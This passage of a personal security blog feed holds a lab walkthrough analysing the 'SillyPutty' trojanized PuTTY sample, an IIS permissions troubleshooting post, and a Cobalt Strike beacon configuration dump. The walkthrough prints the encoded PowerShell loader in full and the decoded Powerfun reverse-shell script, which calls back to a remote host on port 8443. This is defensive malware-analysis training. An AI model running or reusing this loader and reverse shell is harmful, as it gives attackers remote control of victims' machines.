    <p><strong>R=</strong> No interesting strings</p>
  </li>
  <li>
    <p>Describe the results of inspecting the IAT for this binary. Are there any imports worth noting?</p>

    <p><strong>R=</strong> Checks for the presence of debuggers with function <em>IsDebuggerPresent</em> <br />
  <img src="https://github.com/user-attachments/assets/8bce722b-30c7-4034-849b-64108afcf7a0" alt="image" /></p>
  </li>
  <li>
    <p>Is it likely that this binary is packed?</p>

    <p><strong>R=</strong> No, way too many visible ASCII strings for the binary to be packed</p>
    <h3 id="basic-dynamic-analysis">Basic Dynamic Analysis</h3>
  </li>
  <li>
    <p>Describe initial detonation. Are there any notable occurrences at first detonation? Without internet simulation? With internet simulation?</p>

    <p><strong>R=</strong> Without internet simulation, what looks to be a powershell windows shows up briefly, and then the common “putty” window pops-up.
       <img src="https://github.com/user-attachments/assets/b79f2e1c-f427-4163-b9cd-ecde13320287" alt="image" /></p>

    <p>With internet simulation, a powershell windows stays open for a few seconds, then it dissapears. At the end, we are left with the same well-known “putty” window.</p>
  </li>
  <li>
    <p>From the host-based indicators perspective, what is the main payload that is initiated at detonation? What tool can you use to identify this?</p>

    <p><strong>R=</strong> Having procmon turned on beforehand, with a filter to only get the activity performed by the process <code class="language-plaintext highlighter-rouge">putty.exe</code>, we were able to track it’s activity and from there pivot over to its process tree; where we were able to get the command executed by the powershell windows we saw in the initial detonation.</p>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> powershell.exe -nop -w hidden -noni -ep bypass "&amp;([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
</code></pre></div>    </div>
    <p><img src="https://github.com/user-attachments/assets/76d3ef0e-8502-4ac3-a55a-c78dfff866a5" alt="image" /></p>
  </li>
  <li>
    <p>What is the DNS record that is queried at detonation?</p>

    <p><strong>R=</strong> bonus2[.]corporatebonusapplication[.]local
<img src="https://github.com/user-attachments/assets/8b44d811-8784-48e6-a08d-1180c3a3e102" alt="image" /></p>
  </li>
  <li>
    <p>What is the callback port number at detonation?</p>

    <p><strong>R=</strong> 8443</p>

    <p>In order to answer this question, I needed to figure how to get the main payload (base64 string) into ASCII.Looking into each of the    functions that it is performing it performs the following:</p>
    <ol>
      <li>Decodes the string from base64</li>
      <li>Stores decoded output into memory</li>
      <li>Decompresses from gzip compression</li>
      <li>Reads code from memory</li>
      <li>Executes the code</li>
    </ol>

    <p>I figured that I might be able to decode this using <a href="https://gchq.github.io/CyberChef/">CyberChef</a>,following the same process, I decoded the string using the “From Base64” CyberChef function, and then the “Gunzip” to decompress the data with gzip headers, then I was able to take a peek at the plain-text code.</p>

    <p><img src="https://github.com/user-attachments/assets/cbca011a-ff40-41cf-ae84-38ab384f5302" alt="image" /></p>

    <p>The first line caught my eye, as it seems that the Threat Actor has used a very likely open source red team tool. Doing a little of google-fu, the authors presented a <a href="https://youtu.be/ottfZFRSsj4?t=1467">conference talk</a> in 2015 talking about this tool, which basically allows to run an interactive powershell session in the victim host through metasploit.</p>

    <p><img src="https://github.com/user-attachments/assets/dc7f8b77-61ed-4251-b1cb-d6c7b0744d87" alt="image" /></p>

    <p>Full code:</p>
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   
   
# Powerfun - Written by Ben Turner &amp; Dave Hardy
   
function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8443
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
    }
   
    $stream = $client.GetStream()
   
    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local") 
        $stream = $sslStream 
    }
   
    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)
   
    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }
   
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '&gt;')
    $stream.Write($sendbytes,0,$sendbytes.Length)
   
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2&gt;&amp;1 | Out-String )
   
        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '&gt; '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x
   
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}
   
powerfun -Command reverse -Sslcon true
   
</code></pre></div>    </div>
  </li>
  <li>
    <p>What is the callback protocol at detonation?</p>

    <p><strong>R=</strong> From the packet capture in the loopback interface, we can observe the callback protocol is TLS1.2</p>

    <p><img src="https://github.com/user-attachments/assets/3e58adca-1a44-4b20-b794-bc4b94a1c466" alt="image" /></p>
  </li>
  <li>
    <p>How can you use host-based telemetry to identify the DNS record, port, and protocol?</p>

    <p><strong>R=</strong> Filtering by PPID (it being the vaue of putty.exe), we are able to get the protocol (<code class="language-plaintext highlighter-rouge">TCP</code>), DNS record (<code class="language-plaintext highlighter-rouge">bonus2.corporatebonusapplication.local</code>) and port (<code class="language-plaintext highlighter-rouge">8443</code>)</p>

    <p><img src="https://github.com/user-attachments/assets/f7e04835-7777-441c-a649-9cb03f7259e7" alt="image" /></p>
  </li>
  <li>
    <p>Attempt to get the binary to initiate a shell on the localhost. Does a shell spawn? What is needed for a shell to spawn?</p>

    <p><strong>R=</strong> It does, a powershell shell. We need to add the domain <code class="language-plaintext highlighter-rouge">bonus2.corporatebonusapplication.local</code> into our “victim” machine localhosts file, then, within the same machine we open a netcat listener to port 8443 using the <code class="language-plaintext highlighter-rouge">--ssl</code> flag, as it will not connect to it if there is no successful handshake.
<img src="https://github.com/user-attachments/assets/e124f856-8552-4051-9d01-7622c6308c25" alt="image" /></p>
  </li>
</ul>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[Challenge 1: SillyPutty Walkthrough This is the first challenge of the course from TCM Academy called “Practical Malware Analysis &amp; Triage”.]]></summary></entry><entry><title type="html">Troubleshooting IIS Authentication</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2024/09/07/troubleshooting-iis-authentication.html" rel="alternate" type="text/html" title="Troubleshooting IIS Authentication" /><published>2024-09-07T00:00:00+00:00</published><updated>2024-09-07T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2024/09/07/troubleshooting-iis-authentication</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2024/09/07/troubleshooting-iis-authentication.html"><![CDATA[<p>While I was preparing a dummy website for my lab, I encounter a <code class="language-plaintext highlighter-rouge">HTTP Error 401.3 - Unauthorized</code> error. For some reason, I’ve never setup an IIS website from scratch, the only work I’ve done related to them is to troubleshoot up-and-running sites.</p>

<p><img src="https://github.com/user-attachments/assets/264e4621-4be1-4dc8-85e6-dd8e0fa6ce40" alt="image" /></p>

<p>I’ve been using a bunch of tools from the SysInternals for a while now (mainly Process Explorer, Process monitor and Tcpview), few tools are as useful as this when there’s the need to troubleshoot somethig in Windows (talking specifically about third-party software). I believe I onced faced this issue when I was an intern, and a senior engineer helped me solving this. The thing is, that the procedure the engineer did was to add “likely” Windows/IIS accounts that could’ve been the root cause of this issue, I remember it took a bit of time doing this trial-and-error procedure.</p>

<p>Today when I saw this issue, I thought: Some IIS process must not be able to access the folder of my website. Process Monitor would be an excellent option to use here, as it tracks all the system activities that happen. So let’s get hands on work…</p>

<p>The procedure I follow is:</p>

<ol>
  <li>Open Procmon and let it run for a few seconds</li>
  <li>Eliminate process names that - in my criteria - are only noise. In my case, these are the processes that I added an exception for</li>
</ol>

<p><img src="https://github.com/user-attachments/assets/89976c70-5e38-4475-a71a-97552ed5e036" alt="image" /></p>

<ol>
  <li>Start the capture again and then reproduce the issue.</li>
  <li>Look for indicators that could tell the root cause of the issue. If needed repeat step 2.</li>
</ol>

<p>From the book “Troubleshooting with the Windows Sysinternals Tools.pdf”, I know that I should be looking for an <code class="language-plaintext highlighter-rouge">ACCESS DENIED</code> value in the <code class="language-plaintext highlighter-rouge">Result</code> column.</p>

<p><img src="https://github.com/user-attachments/assets/9d04f5d0-ae6b-4072-9874-7ad8dff5a7c6" alt="image" /></p>

<p>When applying the filter, we can state with confidence that the root cause of this issue is:</p>

<p><img src="https://github.com/user-attachments/assets/97c0ae65-3bc6-4a6a-8a55-95863da3b32a" alt="image" /></p>

<p>Reading the third entry, there’s what seems to be a built-in account <code class="language-plaintext highlighter-rouge">NT AUTHORITY\IUSR</code> that the process <code class="language-plaintext highlighter-rouge">w3wp.exe</code> is attempting to read the contents of the folder <code class="language-plaintext highlighter-rouge">C:\Users\Administrator\Documents\website</code></p>

<p><img src="https://github.com/user-attachments/assets/2b4cd3aa-abdb-4725-8637-3ebaf93cd0b9" alt="image" /></p>

<p>Investigating this account this <a href="https://learn.microsoft.com/en-us/iis/get-started/planning-for-security/understanding-built-in-user-and-group-accounts-in-iis">MS article</a> states the following:</p>
<blockquote>
  <p>This built-in account does not need a password and will be the default identity that is used when anonymous authentication is enabled.</p>
</blockquote>

<p>In my case, this makes sense as I do have <code class="language-plaintext highlighter-rouge">anonymousAuthentication</code> set as <code class="language-plaintext highlighter-rouge">true</code>.</p>

<p><img src="https://github.com/user-attachments/assets/fee6be65-303b-4210-95ff-263a1c9c1e84" alt="image" /></p>

<p>All this information that we have reviewed, indicates that we need to give <code class="language-plaintext highlighter-rouge">NT AUTHORITY\IUSR</code> reading permission to the folder <code class="language-plaintext highlighter-rouge">C:\Users\Administrator\Documents\website</code>.
Once that’s done, we are now able to access</p>

<p><img src="https://github.com/user-attachments/assets/4c17aa34-5574-4ff9-9d47-d83670194d55" alt="image" /></p>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[While I was preparing a dummy website for my lab, I encounter a HTTP Error 401.3 - Unauthorized error. For some reason, I’ve never setup an IIS website from scratch, the only work I’ve done related to them is to troubleshoot up-and-running sites.]]></summary></entry><entry><title type="html">Interesting Blue Team tools</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2024/06/23/Interesting-Blue-Team-tools.html" rel="alternate" type="text/html" title="Interesting Blue Team tools" /><published>2024-06-23T00:00:00+00:00</published><updated>2024-06-23T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2024/06/23/Interesting-Blue-Team-tools</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2024/06/23/Interesting-Blue-Team-tools.html"><![CDATA[<h1 id="1768py">1768.py</h1>
<p>While watching a video called <a href="https://www.youtube.com/watch?v=ZtenI_9Byek">Cobalt Strike from a Blue Team Perspective</a>, one of the exponents - <em>Didier Stevens</em> - utilized a tool that I wasn’t aware of <code class="language-plaintext highlighter-rouge">1768.py</code>.</p>

<p>It let’s you get more context on this threat such as the process it is targeting to inject shellcode <code class="language-plaintext highlighter-rouge">rundll32.exe</code> in this case; the <code class="language-plaintext highlighter-rouge">Team Server</code> IP <code class="language-plaintext highlighter-rouge">192.168.1.5</code>, port used <code class="language-plaintext highlighter-rouge">3334</code>, type of payload <code class="language-plaintext highlighter-rouge">windows-beacon_http-revers_http</code>, among other.</p>

<p>Output retrieved utilizing a beacon file I got from a HackTheBox sherlock room.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remnux@remnux:~/path$ python3 1768.py cs-windows.exe 
File: cs-windows.exe
payloadType: 0x00002610
payloadSize: 0x00040200
intxorkey: 0x56efb653
id2: 0x00000000
MZ header found position 4
Config found: xorkey b'.' 0x0003aa30 0x000401fc
0x0001 payload type                     0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port                             0x0001 0x0002 3334
0x0003 sleeptime                        0x0002 0x0004 60000
0x0004 maxgetsize                       0x0002 0x0004 1048576
0x0005 jitter                           0x0001 0x0002 0
0x0007 publickey                        0x0003 0x0100 30819f300d06092a864886f70d010101050003818d00308189028181009872e9417999ab6cc4b5b541e04dae76bd09ff8c6cdb26ec4adfdf376d12624b4774c6f104a637c9d8d12da6d6412fdca185ff082306cc043a898f87ee56f52c1eb436e99931bf42ab12eb88a3ad01519e3715cbe2d55179e79b7834bd7030e30fa33f4d731a5227567e026e2f95a1934a0fc5c71ebfd3f321f9440c71962f3b020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri                   0x0003 0x0100 '192.168.1.5,/visit.js'
0x0043 DNS_STRATEGY                     0x0001 0x0002 1
0x0044 DNS_STRATEGY_ROTATE_SECONDS      0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X              0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS        0x0002 0x0004 -1
0x000e SpawnTo                          0x0003 0x0010 (NULL ...)
0x001d spawnto_x86                      0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64                      0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x001f CryptoScheme                     0x0001 0x0002 0
0x001a get-verb                         0x0003 0x0010 'GET'
0x001b post-verb                        0x0003 0x0010 'POST'
0x001c HttpPostChunk                    0x0002 0x0004 0
0x0025 license-id                       0x0002 0x0004 426352781
0x0026 bStageCleanup                    0x0001 0x0002 0
0x0027 bCFGCaution                      0x0001 0x0002 0
0x0009 useragent                        0x0003 0x0100 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MASAJS)'
0x000a post-uri                         0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions        0x0003 0x0100
  Transform Input: [7:Input,4]
   Print
0x000c http_get_header                  0x0003 0x0200
  Build Metadata: [7:Metadata,3,6:Cookie]
   BASE64
   Header Cookie
0x000d http_post_header                 0x0003 0x0200
  Const_header Content-Type: application/octet-stream
  Build SessionId: [7:SessionId,5:id]
   Parameter id
  Build Output: [7:Output,4]
   Print
0x0036 HostHeader                       0x0003 0x0080 (NULL ...)
0x0032 UsesCookies                      0x0001 0x0002 1
0x0023 proxy_type                       0x0001 0x0002 1 no proxy
0x003a TCP_FRAME_HEADER                 0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER                 0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK                        0x0001 0x0002 0
0x0028 killdate                         0x0002 0x0004 0
0x0029 textSectionEnd                   0x0002 0x0004 0
0x002b process-inject-start-rwx         0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx           0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc         0x0002 0x0004 0
0x002e process-inject-transform-x86     0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64     0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub              0x0003 0x0010 (NULL ...)
0x0033 process-inject-execute           0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.3 (max 0x0046)
Sanity check Cobalt Strike config: OK
Sleep mask 64-bit 4.2 deobfuscation routine found: 0x0000feb9 (LSFIF: b't3E;')
Public key config entry found: 0x0003aa60 (xorKey 0x2e) (LSFIF: b'././.,...,./.,#(.-.,.*..')
Public key header found: 0x0003aa66 (xorKey 0x2e) (LSFIF: b'N.*.,.*.&gt;...+./.,...).-/.')
remnux@remnux:~/path$ 

</code></pre></div></div>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[1768.py While watching a video called Cobalt Strike from a Blue Team Perspective, one of the exponents - Didier Stevens - utilized a tool that I wasn’t aware of 1768.py.]]></summary></entry></feed>